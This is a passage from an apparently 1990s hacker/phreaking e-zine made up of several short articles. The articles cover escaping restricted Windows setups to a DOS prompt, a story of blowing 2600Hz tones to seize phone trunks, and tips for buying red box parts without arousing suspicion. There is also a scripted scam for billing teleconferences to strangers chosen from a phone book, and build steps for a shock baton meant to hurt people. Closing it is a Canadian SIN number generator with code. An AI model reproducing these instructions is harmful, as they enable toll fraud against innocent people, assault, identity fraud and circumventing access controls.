  4093. "Open with..." and proceed to open the file with "c:\command.com".
  4094.  
  4095. 8. Word 6+ Macros. Start up Microsoft Word and make a macro that says:
  4096.  
  4097. shell "c:\command.com"
  4098.  
  4099. Run it.
  4100.  
  4101. 9. Visual Basic. Startup Vb, make a command button on the form, and
  4102. give it the code:
  4103.  
  4104. x = Shell("c:\command.com")
  4105.  
  4106. Press F5 and then click the button that you just made. Voila!
  4107.  
  4108. 10. Resetting the screen. Shut down the system so that it shows that
  4109. stupid screen "It is now safe to shut off your computer." That screen
  4110. is really just a bmp file being displayed over a dos prompt. Type the
  4111. following just like you were in dos:
  4112.  
  4113. cls
  4114. mode co80
  4115.  
  4116. This will attempt to reset the screen and show you a "C:\" if it is
  4117. applied at the right time.
  4118.  
  4119. 11. Netscape Apps. Choose "General Preferences" from the Options menu
  4120. in netscape and then click on the tab labeled "Apps". Type in:
  4121. c:\command.com for your telnet application and then click OK. Next,
  4122. surf on over to "telnet://". This should launch a dos prompt.
  4123.  
  4124. 12. System Information. Start up Microsoft Word and goto "About" from
  4125. the help menu. Click the "System Information" button and then the "Run"
  4126. button.
  4127.  
  4128.  
  4129. Well thats about all I can think of. I know that there is many more
  4130. ways to get to dos but I am too busy to find them...  Seeya!
  4131.  
  4132.                     Devix - devix@thepentagon.com
  4133.                       www.thepentagon.com/devix
  4134.                     PGP key available above. Use it.
  4135.  
  4136. ═────────────────────────────────────────────────────────────────────────────═
  4137. A phreak's dream come true 
  4138. Written for thtj from the personal accounts of Kode9
  4139.  
  4140. Saturday, September 13, 1997: Kansas City, Missouri
  4141.  
  4142. The local Southwestern Bell telephone office gets its basement flooded.
  4143.  
  4144. Waking to the sound of a telephone ringing can be a pleasing experience, or 
  4145. it can be an irritating one; it guess it depends on how much you like phones. 
  4146. On this particular Saturday, I woke to that very sound, a ringing, but it was 
  4147. like no ring I'd heard before. It was a bunch of truncated rings, back to 
  4148. back, like ri..ri..ri.. instead or ring.....ring.....ring. I didn't know what
  4149. it was, I didn't pick up the phone either. Thinking it'd go away, I just 
  4150. waited on it. But it kept making that short ring, over and over again. It 
  4151. lasted for about ten minutes, and then as quickly as it'd started, it 
  4152. stopped. 
  4153.  
  4154. I picked up the phone; no dialtone. It was silent, but it wasn't dead... the 
  4155. keypad lit up. There must be current, I thought. So the lines were alive, but 
  4156. there was no dialtone. The switch must've died. Do switches die? This one 
  4157. wasn't working. Was I the only one? I couldn't call anyone to find out, I'd 
  4158. have to drive around and see what was going on. 
  4159.  
  4160. The mall was alot more interesting than normal today, because apparently the 
  4161. payphones weren't returning quarters. Don't people listen for a dialtone 
  4162. before sticking in their money? I've never seen so many people so pissed at a 
  4163. payphone in my life, it was almost like a riot. I checked for a dialtone on 
  4164. one of them, though I was fairly certain there wouldn't be one, and I was 
  4165. right. Dead silence. 
  4166.  
  4167. How could this fast food eating, instant coffee drinking, all the day's news 
  4168. in a half hour watching society survive without phone service? Cellular, of 
  4169. course. The phone of the future, or at least, that's what the cellphone 
  4170. companies want us to think. 
  4171.  
  4172. Cell activity today was at an all time high, based on all the calls I picked 
  4173. up on my scanner. Most of them were people saying "oh gosh, my phone is 
  4174. dead!" but I did catch DOW chemical ordering some nitroglycerin. Stronger 
  4175. plastics through the use of explosive compounds? I guess it's possible. I'm 
  4176. certain that even though 911 has a cellular system, alot of people died as a 
  4177. result of the lack of landline service. 
  4178.  
  4179. Over the course of several hours of waiting for my precious phoneline to 
  4180. whisper a dialtone softly in my ear, I learned via the local news that the 
  4181. phone outage was caused by a water main break that flooded the basement of a 
  4182. SouthWestern Bell building, which just so happened to service the exchange I 
  4183. was in, along with exchanges in half the city. The water had apparently 
  4184. shorted out the ESS, and down came the system as a result. It's a wonder this 
  4185. hasn't happened before, SWBell being genius enough to house their ESS in the 
  4186. basement. 
  4187.  
  4188. If you haven't wondered already, as to why this story is being called 'a 
  4189. phreak's dream come true', you're not too bright. For those of you who are 
  4190. wondering, the title is soon to be explained to you. The phone company, in 
  4191. its infinite wisdom, decided that rather than continuing to leave the 
  4192. majority of a large city deaf and mute, they would do the best they could to 
  4193. bring service back to us. That revelation occurred at around nine in the 
  4194. evening, a good twelve hours after the trouble began, (so they're a little 
  4195. slow, we can't blame them, can we?) when I got a call from my girlfriend. 
  4196.  
  4197. Since the lines were up, I figured now was as good as any time to see exactly 
  4198. what kind of switching system they'd fired up, just hoping it wasn't ESS. I 
  4199. quickly dialed up my self appointed 800 testline, 18004GAYASS, and whipped 
  4200. out my 2600hz tone, proudly stored on my self-built recorder. I played it 
  4201. into my newly awakened line. Beep. Click. Line available. I didn't send any 
  4202. KP or ST tones, because I wasn't crazy, and I was well convinced that we 
  4203. weren't on ESS. Was it xbar? SxS? I don't know, and I was too excited to find 
  4204. out. 
  4205.  
  4206. What to do? I did what any noble phreak would do. I called every phreak 
  4207. I knew of in the Kansas City area. It was a virtual free for all. Anyone 
  4208. could seize a trunk. Anyone could abuse anything on this ever-so-temporary 
  4209. switching system that the phone companies were trying to make extinct. It was 
  4210. like a dream, like a wonderful phone phreaking dream. 
  4211.  
  4212. The gestapo never stopped by. They probably never knew I'd blown that tone, 
  4213. because they'd gone back to a system that was apathetic to my nefarious 
  4214. activities. The playing field had been leveled. The telco vs. the phreaks. It 
  4215. was amazing. Just thinking about the possibilities made me smile. I could 
  4216. call London, I could call anywhere; it'd be free. All those far off bbses I'd 
  4217. never dared to call, for fear of oppressive phonebills... I could call them 
  4218. with reckless abandon.
  4219.  
  4220. Though a joyous event, opportunity didn't last long. It seems like nothing 
  4221. good ever does. They had ESS back up and running within two hours, but those 
  4222. precious hours, they were a phreak's dream come true. Later that night while 
  4223. watching the local news for a followup, things seemed to be well concluded 
  4224. with the quote of a certain local anchor... "Malicious tampering deterred the 
  4225. repair crews as they attempted to reinstate phone service in the area. The 
  4226. tampering was believed to be caused by several youths with some electrical 
  4227. skill." 
  4228.  
  4229. If not the thrill of hearing a trunk seized, watching footage of the 
  4230. switching equipment under four feet of water was the highlight of a memorable 
  4231. day. To all of you phreaks living in the Kansas City area under the (816) 
  4232. 350, 373, 478, 503, and 795-XXXX exchanges, I hope you thoroughly enjoyed  
  4233. this once in a lifetime opportunity.
  4234.  
  4235. ═────────────────────────────────────────────────────────────────────────────═
  4236. Rat Shak Shopping Made Easy
  4237. by N-TREEG
  4238.  
  4239. Okay I know some of you guys have had a hard time getting the parts you need
  4240. out of your local Rat Shak for whatever your purposes are.  This article is
  4241. to make your shopping experience a little more pleasurable and / or
  4242. successful.  Note:  "Rat Shak" is henceforth used to avoid all the evil
  4243. legalities.
  4244.  
  4245. "QUESTIONABLE" PARTS
  4246. Okay here's a little tid-bit for you.  The employees can't sell you anything
  4247. they feel you are going to use for less-than-legal purposes.  You'll cut out
  4248. a lot of your parts-finding frustration if you don't elude to it's uses,
  4249. whatever those might be ;-)   Just don't bring up the parts' purposes
  4250. what-so-ever.
  4251.  
  4252. TIP #1:  Do not go into Rat Shak with a list if it can be avoided.
  4253.  
  4254. If you must have a list here are a few things to keep in mind:
  4255. Try to keep it as short as possible.  Only have on there a part number or
  4256. something if you know specifically what it is you want.  The more vague it
  4257. is, the less the salesman can conclude from it.
  4258.  
  4259. It's also a little less suspicious if your list is hand-written.  NEVER EVER
  4260. EVER go into Rat Shak with printed box plans in hand.  That's getting you
  4261. nowhere fast!  It's always best if you've got memorized the specific part you
  4262. need.
  4263.  
  4264. TIP #2:  Never mention what the parts are going to be used for.
  4265.  
  4266. Don't bring it up.  If the salesman asks, have some feasible alternative
  4267. ready to give that the part could be used for (plan ahead).  You can always
  4268. say you're replacing the exact same part in a broken toy/gizmo/home project/
  4269. appliance, etc.  Words to avoid mentioning: red box, descrambler, cable box,
  4270. linears, e-prom burners (I doubt they carry 'em), scanner mods, snarfers.
  4271.  
  4272.  
  4273. YOUR PURCHASE
  4274.  
  4275. TIP #3:  Use common sense.
  4276.  
  4277. Use your head.  Don't ask for two things that are obviously questionable in
  4278. the same sale.  How much sense does it make to ask for a tone dialer then
  4279. turn right around and inquire about crystals.  THINK!
  4280.  
  4281. TIP #4:  The Name and Address bit.
  4282.  
  4283. Don't be alarmed when Rat Shak salesmen ask for your infos.  They are
  4284. supposed to.  No, it's not so they can track your purchases, etc.  It's only
  4285. for their sales flyer.  So don't worry about it.  Don't give 'em a hard time
  4286. and you'll appear a little less suspicious.  Plus you can sometimes find
  4287. coupons for free stuff in the flyers they send you.  Who couldn't use free
  4288. batteries every once in a while?
  4289.  
  4290. "WE DON'T HAVE ANY"
  4291.  
  4292. TIP #5:  Make use of the catalog.
  4293.  
  4294. So, you can't find what you're looking for on Rat Shak's shelves.  No biggie.
  4295. Don't automatically assume they just don't want to sell you what it is you
  4296. need.  Ask to see their yearly catalog.  They are usually up on the counter.
  4297. Just thumb through them.  (Or buy one, great to get parts numbers = no list!)
  4298. They've got an index in the back to speed your search.  If it's not there
  4299. then it more than likely isn't regularly carried in stock.  You've got
  4300. another option.  Ask if you could thumb through their warehouse's catalog.
  4301. It's a bookstand that has about 8 or so ring binders beneath it.  Flip one of
  4302. those open and search their.  If you can find what you need in there, have
  4303. them order it for you.
  4304.  
  4305. OTHER STUFF
  4306.  
  4307. TIP #6:  Don't try to "card" Rat Shak.
  4308.  
  4309. Trying to card Rat Shak is a nice way to get busted.  Just don't do it.  They
  4310. do verify credit cards, same thing for checks.  They check signatures and ID
  4311. too.  Save yourself and them a hassel, pay for your merchandaise.
  4312.  
  4313. Rat Shak's just a regular store with regular people for employees.  They
  4314. don't want to give you a hassel.  Just exercising common sense will make
  4315. your shopping experience more pleasurable for the both of you.  They'll be
  4316. happy becuase they'll be making money, you'll be happy becuase you'll be
  4317. getting your part.
  4318.  
  4319.  
  4320. Remember if you can't get it at Rat Shak, there are other stores out there:
  4321.  
  4322. DigiKey - http://www.digikey.com
  4323.  
  4324. Mouser Electronics - http://www.mouser.com
  4325.  
  4326. Have fun kids...play nicely.
  4327.  
  4328. N-TREEG
  4329. HaX0r3d PerceptionS Productions / THTJ
  4330. Shouts out to:  The THTJ Crew, #phreak, #hackphreak, PADmaster, Speed1,
  4331.              Shoc, & The Spanish Mafia.
  4332.  
  4333. ═────────────────────────────────────────────────────────────────────────────═
  4334. Telephone Conferencing 
  4335. by DataThief
  4336.  
  4337.     Well, i've recieved quite a few questions about setting up conferences
  4338. so i went on a search to find an article to suggest to the people that kept
  4339. asking me how, but i couldn't find one, so here it is...
  4340.     Setting up a conference can be a useful and phun skill to have, and
  4341. it is alot easier than it would seem.  There are a couple main teleconf.
  4342. services including:
  4343.         AT&T Teleconferencing          800.232.1234
  4344.         GTE Teleconferencing           800.483.9999
  4345.         Alliance Teleconferencing      varies (in large cities)
  4346.  
  4347. i usually use AT&T because they rarely validate u'r info and are extremely
  4348. gullible...
  4349.  
  4350. ok, here are the steps u take to setup a conf:
  4351.        1) lookup a name in the phone book, write down the name and #
  4352.        2) goto u'r fav. fonebooth and dial a conference # listed above
  4353.        3) give them the info on the paper for the person to be the 'host'
  4354.          (the person that gets charged for the call)
  4355.        4) give them the payfone # as u'r number so they can call back
  4356.        5) tell 'em what time u want it for and how long
  4357.        6) choose dial-in or dial-out, if dial-in, choose how many ports
  4358.          (people) to add to the conf.
  4359.        7) make up some company name incase they ask u for one
  4360.        8) hang-up and they'll call back in 1-5min
  4361.        9) they'll either say "sorry charges not accepted" or "ok u'r conf.
  4362.          will be up when u specified, thank you for using blah..blah..blah
  4363.  
  4364. A typical conversation will go like this:
  4365.  
  4366. <operator> Welcome to AT&T Teleconferencing Systems may i help you?
  4367. <you> yes, i'd like to setup a conference.
  4368. <op> who will be the host?
  4369. <you> host?
  4370. <op> the person paying the bill for the conference call
  4371. <you> oh, <name>
  4372. <op> phone # of the host
  4373. <you> <phone #>
  4374. <op> your name
  4375. <you> <fake name>
  4376. <op> your phone #?
  4377. <you> <payfone #>
  4378. <op> duration of the call
  4379. <you> 2hours <you can add more if u want>
  4380. <op> when will the call begin?
  4381. <you> 7:00CST
  4382. <op> is this gunna be a dial-in or dial-out conf?
  4383. <you> dial-in
  4384. <op> how many ports?
  4385. <you> 10
  4386. <op> okay, we're gunna hang up while i set it up and i'll give u a call in a
  4387.     few min...okay?
  4388. <you> ok
  4389.  
  4390. ...hang up...
  4391. ...ring...
  4392.  
  4393. <you> hello
  4394. <op> hello this is at&t teleconf. is this Mr. <name u gave>
  4395. <you> yes
  4396. <op> okay your conf will be ready at <whenever>
  4397.     your dial-in # is 800.xxx.xxxx
  4398.     your host code is xxxxxx <don't use it unless at a payfone>
  4399.     your guest code is xxxxxx <u can use this one anywhere>   
  4400. <you> thanks
  4401.  
  4402. Things that can go wrong:
  4403. 1) u called to set it up from home and the feds show up 2morrow
  4404. 2) noone gets on within 15 min of the designated start time and it
  4405.    auto-cancels the conf
  4406. 3) they don't accept the charges <call right back and start over!>
  4407.  
  4408. one last thing about dial-in vs. dial-out
  4409. in dial-in, u get the codes, and anyone can dial-into the conf, but u can't
  4410. dial out to connect anyone.
  4411. in dial-out, only the host can add people, so u have to be at a payfone, but
  4412. its fun for pranks and stuff ;)
  4413.  
  4414. ═────────────────────────────────────────────────────────────────────────────═
  4415. How To Make A Cattleprod
  4416. by The Messiah
  4417.  
  4418. Contents:
  4419.     * Introduction
  4420.     * Ingredients
  4421.     * How To Get The Ingredients
  4422.     * First Of All...
  4423.     * Part 1 - Making The Baton
  4424.     * Part 2 - Making The Power Pack
  4425.     * Part 3 - Packaging And Use
  4426.     * Words Of Wisdom
  4427.  
  4428.  
  4429. Introduction:
  4430.     Have you ever wanted to shock the fuck out of an enemy? Ever wanted to 
  4431. clear up the congestion in the halls of your local high school? Ever wanted a 
  4432. hand buzzer similar to the one the Joker had in Batman? Well, this article is 
  4433. for you. With a wee bit of cash and some ingenuity, you too can be armed with 
  4434. a ~100-200 milliamperes shock rod.
  4435.  
  4436. Ingredients:
  4437.     * One (1) automobile coil
  4438.     * One (1) 12v lantern battery *** NOT A CAR BATTERY!!!! ***
  4439.     * Some red wire
  4440.     * Some black wire
  4441.     * A little bit of green wire (not really necessary)
  4442.     * One push-button switch (non-toggling)
  4443.     * Two (2) feet of PVC pipe
  4444.     * One (1) PVC cap
  4445.     * Wire cutters, hacksaw, wire strippers, electrical tape
  4446.     * The IQ God gave the average Republican (20)
  4447.     * A copy of Screeching Weasel's Boogadaboogadaboogda album
  4448.  
  4449. How To Get The Ingredients:
  4450.  
  4451. You can get the auto coil at a salvage yard. It's a black cylinder with two 
  4452. electrodes and a big post on the top. The battery, wire, button, tape, wire 
  4453. cutters, and wire strippers can be found at your local Radio Shack. You can 
  4454. pick up PVC pipe and cap at your local hardware store. The IQ thing should be 
  4455. already taken care of. if it's not, you are so fucked. You can get the CD 
  4456. from Lookout! Records.
  4457.  
  4458. First Of All...
  4459.  
  4460. This is a pretty big deal. Don't fuck around with this. Test it on a 
  4461. voltometer before you try it out on your co-workers. All of your mistakes 
  4462. will be dealt with be you; I assume no responsibility for anything you do. 
  4463. Now that that's been said, put on the CD... groove with it...
  4464.  
  4465. Part 1 - Making The Baton
  4466.  
  4467. Making the actual baton (thing you whack the target with) is a personal 
  4468. thing. It should be a reflection of your personality. Oh hell... Cut the PVC 
  4469. pipe to a length of your liking. Now, take two pieces of wire (red and 
  4470. black), about 3-4 feet long, and strip about 2 inches off the end. Thread 
  4471. them through the pipe, then pull the stripped ends out the end, like this:
  4472.  
  4473.      ||    || = pipe
  4474.         * = red wire (ground)
  4475.         # = black wire (negative)
  4476.  
  4477.          #     *
  4478.           #   *
  4479.            # *
  4480.         || # * ||
  4481.         || # * ||
  4482.         || # * ||
  4483.         || # * ||
  4484.         || # * ||
  4485.  
  4486. If the wires touch, the circut shorts out, and does absolutely jack shit. So 
  4487. make sure they don't. The more contact the baton has with skin, the bigger the 
  4488. shock. Take the PVC cap and drill two holes in it, spaced evenly:
  4489.             ___
  4490.          /   \
  4491.         | *   |
  4492.         |   * |
  4493.          \___/
  4494.  
  4495. Thread the ends of the stripped wire through the holes in the caps and screw 
  4496. the cap on.
  4497.  
  4498.  
  4499. Part 2 - Making The Power Pack
  4500.  
  4501.     This is the heart of the cattle prod. Here's a diagram:
  4502.  
  4503.         * = red wire (ground)
  4504.         # = black wire (negative)
  4505.         $ = green wire (positive)
  4506.  
  4507.         # * <-- from baton
  4508.         # *
  4509.           #  *
  4510.          #   *            _--_ <--- button
  4511.          #   *   $$$$$$$$|____|$$$$$$$$
  4512.          #  _*_  $                    $          #######
  4513.          # |   | $                    +          -     #
  4514.      #####- |   | +                  __|__________|__   #
  4515.      #   _|_|   |_|_                |                |  #
  4516.      #  |           |               |                |  #
  4517.      #  |           |               |                |  #
  4518.      #  |           |               |                |  #
  4519.      #  |           |               |   battery      |  #
  4520.      #  |           | <-- auto coil |                |  #
  4521.      #  |           |               |________________|  #
  4522.      #  |           |                                   #
  4523.      #  |___________|                                   #
  4524.      #                                                  #
  4525.      ####################################################
  4526.  
  4527.  
  4528. Part 3 - Packaging And Use
  4529.  
  4530. You can put the power pack in a backpack or something, because carrying it is 
  4531. all funky. To shock someone, touch the two wires at the end of the baton to 
  4532. their arm or whatever and push the button. Zap.
  4533.  
  4534. Words Of Wisdom:
  4535.  
  4536.     A couple of things- one, *** DO NOT *** use a car battery for the 
  4537. battery. If you shock someone with a car battery, it will kill the person, or 
  4538. fuck them up seriously. Please don't kill anyone, k? Also, this kind of setup 
  4539. tends to drain batteries. A 12v lantern battery will last for about 10-20 
  4540. shocks.
  4541.  
  4542. ═────────────────────────────────────────────────────────────────────────────═
  4543. Securing Linux 
  4544. by KiDMaGiC
  4545.  
  4546. When discussing Linux and networking, one often comes upon a taxing
  4547. problem.  This problem, to many administrators, can either be a burden
  4548. to install or a godsend of smooth sailing. However, if you are in a
  4549. situation where the former is true, I will attempt to make this a bit 
  4550. easier.
  4551.  
  4552. Many months ago, back in my earlier days of using Linux, I was gullable
  4553. and offered shells off of my slow 28.8 connection, which neither my ISP
  4554. nor my machine appreciated.  One of the people I (unknowingly) gave a
  4555. shell to, unfortunately knew more about slackware 3.0's security than I
  4556. did, and had rm -rf / going within seconds.  At that point in time, I
  4557. realized security was a must for any Linux box connected to the internet.
  4558. Your personal LAN or WAN may be different in its breed and creed of users,
  4559. but its much better to be safe, than sorry.
  4560.  
  4561. The first thing that everyone I asked told me to do, was to install shadow
  4562. passwords.  This is an incredibly important step which involves using a
  4563. random SALT to encrypt your passwords.  This generally is much harder to
  4564. break, and can save you a break-in due to unprotected crypt passwords.
  4565. Even tho shadow passwords can be slightly difficult to install for a new
  4566. Linux user, the benefits outweigh the trials.  
  4567.  
  4568. Another good idea is to install a tcp wrapper.  These can be found on
  4569. sunsite(ftp://sunsite.unc.edu/pub/Linux/) and are generally just good
  4570. ideas.  These can be your alternative to firewalls, but have less
  4571. functions.  Basically, a tcp wrapper checks the address of an incoming tcp
  4572. packet (such as a packet for telnet, ftp, finger, etc.) and compares it to
  4573. a group of files.  These files contain a list of addresses, what services
  4574. they can use, and wether or not the address should be allowed or denied.
  4575. I find this my primary defense in the brutal world of "drive-by" attacks.
  4576.  
  4577. If you happen to be a security/encryption nut like myself, you may also
  4578. wish to get such utilities as pgp and ssh.  PGP is the acronym for Pretty
  4579. Good Privacy, which is "encryption for the masses."  This little program
  4580. is very efficient in encoding anything you want to keep secure, from
  4581. emails to book reports to sensitive source code.  This is an invaluable
  4582. tool to have, and also just fun to play with with your friends.  SSH, or
  4583. secure shell, is similar to rsh, but offers advanced encryption options to
  4584. avoid your connection being monitored by an outside third party.  This is
  4585. another invaluable tool if you have reason to believe people are out to
  4586. foil your plans of world domination. :)
  4587.  
  4588. These are just a small few of the many options you can explore for
  4589. security.  Things such as firewalls, network monitoring software, and
  4590. packet sniffers are just too in-depth to touch base with in this article.
  4591. However, information is abundant on the net, and many people would be
  4592. happy to help you if you have a serious question.
  4593.  
  4594.  
  4595. ═────────────────────────────────────────────────────────────────────────────═
  4596. Social Insurance Numbers
  4597. by Devix
  4598.  
  4599. In Canada (where I live) to get a job you must have a Social Insurance
  4600. Number (SIN). I don't know much about them or why they are used but
  4601. I do know how they are validated (and thus generated) so I thought I
  4602. would share this info with all of you. This can be useful for numerous
  4603. reasons but I'll leave that up to you to figure out. I don't know if
  4604. this will work with the US equivalent, Social Security Number (SSN).
  4605.  
  4606. OK, the Social Insurance Number is made up of 9 positive integers.
  4607. To validate, the first 8 are put through an algorithm to determine
  4608. the 9th. If the 9th matches, then the SIN is valid.
  4609.  
  4610. Here is how the algorithm works:
  4611.  
  4612. 1. Find the sum of the 1st, 3rd, 5th, and 7th digits.
  4613. 2. Find the products of the following:
  4614.           2 * 2nd digit
  4615.           2 * 4th digit
  4616.           2 * 6th digit
  4617.           2 * 8th digit
  4618. 3. Add the products of part 2 (above).
  4619. 4. Add part 1 and part 3 together.
  4620. 5. Take the ones digit from part 4 and subtract it from 10. The result
  4621. should be the 9th digit.
  4622.  
  4623. If you don't understand the above, here is a program I made in QBasic
  4624. that will generate and validate Social Insurance Numbers for you.
  4625.  
  4626. ---------------------------Start Cutting----------------------------
  4627.  
  4628. RANDOMIZE TIMER
  4629. COLOR 12
  4630. PRINT
  4631. PRINT "Social Insurance Numbers - Canadian"
  4632. PRINT "Made by Devix - datadaze@hotmail.com"
  4633. PRINT
  4634. COLOR 7
  4635. 1
  4636. PRINT "(G)enerate or (V)alidate?"
  4637. 6
  4638. choice$ = INKEY$             'Wait until key is pressed.
  4639. IF choice$ = "" GOTO 6
  4640. choice$ = LCASE$(choice$)
  4641. IF choice$ = "g" THEN GOTO 5     'If g the make sin
  4642. IF choice$ = "v" THEN GOTO 3     'If v then check sin
  4643. GOTO 1
  4644.  
  4645. 5                       'We're make a SIN!
  4646. a = INT(8 * RND + 1)    'Use random numbers for the first 8
  4647. b = INT(8 * RND + 1)
  4648. c = INT(8 * RND + 1)
  4649. d = INT(8 * RND + 1)
  4650. e = INT(8 * RND + 1)
  4651. f = INT(8 * RND + 1)
  4652. g = INT(8 * RND + 1)
  4653. h = INT(8 * RND + 1)
  4654. k = a + c + e + g        'Add them
  4655. l = (b * 2) + (d * 2) + (f * 2) + (h * 2)    'Multiply them
  4656. m = k + l  'Add them
  4657. 2 IF m > 10 THEN m = m - 10: GOTO 2   'Get the last digit.
  4658. COLOR 2
  4659. PRINT
  4660. FOR i = 0 TO 9    'Get the check digit.
  4661. IF i = 10 - m THEN PRINT a; b; c; d; e; f; g; h; i: COLOR 7: END
  4662. NEXT i             'Not found, go on to next.
  4663. COLOR 7
  4664. END
  4665.  
  4666. 3                  'Were checkin a SIN!
  4667. PRINT
  4668. PRINT "Numbers seperated by comma's."
  4669. PRINT "ie: 1,2,8,3,9,5,5,8,5"
  4670. INPUT a, b, c, d, e, f, g, h, i    'Get the numbers
  4671. k = a + c + e + g        'Add them
  4672. l = (b * 2) + (d * 2) + (f * 2) + (h * 2)    'Multiply them
  4673. m = k + l   'Add them
  4674. 4 IF m > 10 THEN m = m - 10: GOTO 4     'Get the check digit.
  4675. PRINT
  4676. COLOR 2
  4677. IF i = 10 - m THEN PRINT "Valid!" ELSE PRINT "Invalid!"  'If digit is right,
  4678. COLOR 7                                                  'then tell the guy.
  4679.  
  4680. ---------------------------Stop Cutting-----------------------------
  4681.  
  4682. I've also included a program I made in vb that does the same thing.
  4683. (sin.zip). Source code is encluded. Enjoy!
  4684.  
  4685. begin 644 sin.zip
  4686. M4$L#!!0````(`!F##R-E7`8W@0,``.P&```,````1E)-7TU!24XN1E)-;51-
  4687. M;!M%%/YF=M;=V*9)K!Q*!>H"4525RB25@!($`D);68*H:JJJXF+9R2:Q\$\P
  4688. MZ\;-Q1'RQ1=??""72E4B40G(A3,2%ASH@4H<X=)<MJH4%2@G7TB7]\:[86VS
  4689. MDM]^[YMOYCV_^6S_E_,PRP+(@QYKM5K*?IPKE)][6<S`Q\12.I->3-M7G+)3
  4690. MS;F5JM'M=F%>4<`#$_@Z#GQ![^<%/L`K/CW3YN5*M33W.BO>8,F;K+G((E^\
  4691. M2A6,9-XM9V_DBH65G.LH']8QOFNNBQ_4VV)2PC=8*[4VJ*VUQ_BN>0%:*TA[
  4692. MAK0B[M;=[&*ME'>JTE=U\%DOBA35-?BKF;&/<GFG."=\O+]0=>B,%3M_V_[0
  4693. MN56HS]LK_'K/77<VG+*;6ZN4T\N5DKVYN9D>XE[32K..7^7CL3694IB29ZC$
  4694. M.2JAXL5\,6B!RISHHWD2UW$@?T+*`$FENDW#^,>4&$=69,48A#14+&%:\>VK
  4695. MVU=/T%6<IL,V4,,6&FBBA38ZV"=N!W>PR]>$(TAQB/][/L%W%._!&^+YW/M`
  4696. M*CK1[$*QL/PIL"UR#RGD&2US6.E2<!BM<ECCL/X7!2TN<B@!,4EG$BQ0B$R?
  4697. M)W'=J;L(JH7W&U:#S"WW(*74F[7<K<S-\GF&IC8X?&81/H4Q6/"#AX0P!%(8
  4698. M_0["FGTB6`_<1(R&`&X-O^-+BI[]`$_AJ3U\CR0-=IBIC3!;(TQCA&F.,*T1
  4699. MICW"=(A)4`\)JK%'L:ECFV*2KI?7:O"LI_B34"-`K&A%<.<8)\D0O&>'/G=T
  4700. MODLS\OU[E._".WN`2[@L^KBG5V-8('/PGGWJR9M^E]3G9)"?964/7R$#F[A'
  4701. MF-6][N';`-<TW@NRK8&L,9`U![+60-8>R#H#V7Z0)<C&*72ITXM!MXO4:8SP
  4702. M6]H3ENA[8HH]@<`3@TXC3SR+>.)^X`D^>9)._A'C)[WIOVE":;R#=?G?"LU%
  4703. M_8QO=I)J(Z+WK)"M1=EDR&Y%V8F0;439J9!M1ME3(=N*LB^$;#O*VB';B;+3
  4704. M(<M_$@GJ.J&TNY1VE]+N4D=Z[=A=*N(N%7&7BKA+\0\\03L3A-A=A]I=/:I\
  4705. M&+CK-]''/;W*[NKI.GTW'6HW7<)Y&?;Z!R;P3,1A%SZW]76]!*KD$7\2IZ6%
  4706. MI<RBG2FO5H`9<0&KD7TIS,NDWI<IWQK:>7-H9^B2:X%+)K5+COX%4$L#!!0`
  4707. M```(`"V##R/6#>&W<````'X````,````4%)/2D5#5#$N34%+<PORC?=U]/33
  4708. M`S)XN0**\K/",_.",ZM2;<U-=(PM3'6,3(UT#(V,$'(9^>6V0*YG<GZ>6WY1
  4709. MKJU26E%NO&]B9IX2+U=(9DE.JJU2L)ZGGI^>@GMJ7FI18DE^$5#&M2+5+S$7
  4710. M).?I%PZTSC7"%2@*`%!+`P04````"``Z@P\C69NER\0(``!`'```"@```%-)
  4711. M3E=)3BY%6$7M67U05-<5/^]CW66%94&J8G!Y2\@V55P0$;;L(A_!Q94/&31J
  4712. M"1&7L.`ZN&N7MT)LK*O^@ZZ2Z4QFTK':M.I?F8ZQ+3-5FE$41ZH6JXW3(;93
  4713. M.VE:=8RV:CO2$;D]][ZW",MJVIDTQC1G>>^>W_FZ][YW[KL?5-<3T`"`A!<A
  4714. M,$8E>''P*30%OJ)GG'8/+?A]]\7PGY?7'DWD:L__5#K*P0=#.X8Y.:'7)/3$
  4715. M#9J/<#U5@^:>G$&S0VC7H/#FC>XI6;"@+SQ\C!#+MJ+:TN!TR[8M_(HE08,E
  4716. MM$4L"FKW!#4[\W\@H++#&TRC2E]S,`5+T1L(QJ/1E**@IM<EW/SAW<,6FR9X
  4717. M;,\68>>B_4)/ZJ!9+#T^Q'>)SC-B(5X-SIZ*G\&@>?=0=]^)(3ZW[Y@3[AY>
  4718. M%MI"&F3QC*:AXOA%/FRXP-\[U#O$'X6B07,@\>`[PLTENR]V#V%C;]A)&%NR
  4719. M8Y3(M[I-61`>#3E`_N@G#KLLZON"]\,7YOYFQ[\X^5KX/H:_=V@9]:-MO[FO
  4720. M=Y-PX^$H[6L8FX8U$W+W\/U+X0_#EVAKCF\#RZXJLNLDW^_X;L=O+5WE)/>6
  4721. M<&>/K?3AO4,C)U![1B-5A//W"ZS>\ZY[AY0.*&%H"%K7C_<+PJFYE]IUF8GB
  4722. M'=NIP$Y:V7':%&H1-KTC'&^``?']T8%RG@P.E(OFGH'R*8N0TYEO#)3KOP\]
  4723. MQ1BR%SC3RO,ZZ/#ZK*_Y-WQ&V;%BG;==VACPMP;<&Z2`Y]M!;\#3+E5[7POX
  4724. MV_TMLK3*ZVOV=[1;$_29W_(')7?`([G;`AYW\^M2(.CS>7VML8U?]KF;VCR2
  4725. M[)?:97=`CFTT_G/T%?V/J&:Q1C\"/#@7UU4D"SR`$6J-[,O/@XAE&LX$Z^!C
  4726. M^#O<A5'VO=?A/,'K5'=!!ZE0.SN5@:1X'@Q@XXRS;5P<;!>-:=O%2#TZ,(24
  4727. M^81&STGC0LP]Q"N>6%M$-@T$Y'G&ZT,:II\^3C^3\8I^%N-%QJ>QN)K0Y#[J
  4728. MEKMJ5KEJ&(]MT*TLJWNY9D%.#L9:;G59:ZQ2A<?G";AE?P#^WVDO'74<?<4@
  4729. M<$G(->,CGH&OY$M*E:[WZDKD2M>Y@G^FANS?*_#9S]GO&"]GSX+),E,,648,
  4730. MF26&;$X,F36&+#>&+!]EYGFSP#PO`ZZ6F.?-8?=<O%_.+F0Z$PP7'#&L+;V`
  4731. MO&6,IU;6"2A_'+J<O8CY%F+<12Q6&7A<A'"(R^!%VQ'#J?*>O'PN@M:74HO5
  4732. MKM)T`U?I2LQUPBV,E8&:@N=FDED\C>5DEM1C?>FZ\E_D&5&:9\L!*IN%==0:
  4733. MS\H1;%)Q15%$DC%)8IDDF3-)8ITDR9TDR9\D<8Y)^I-\2ZL@4#6UK]+UR4*E
  4734. M9SK33+(4>_FA9XWA%4.EBUK$H<5!XUO!1-;GS?ALROBEZ6^(C[1O&>/QF7S'
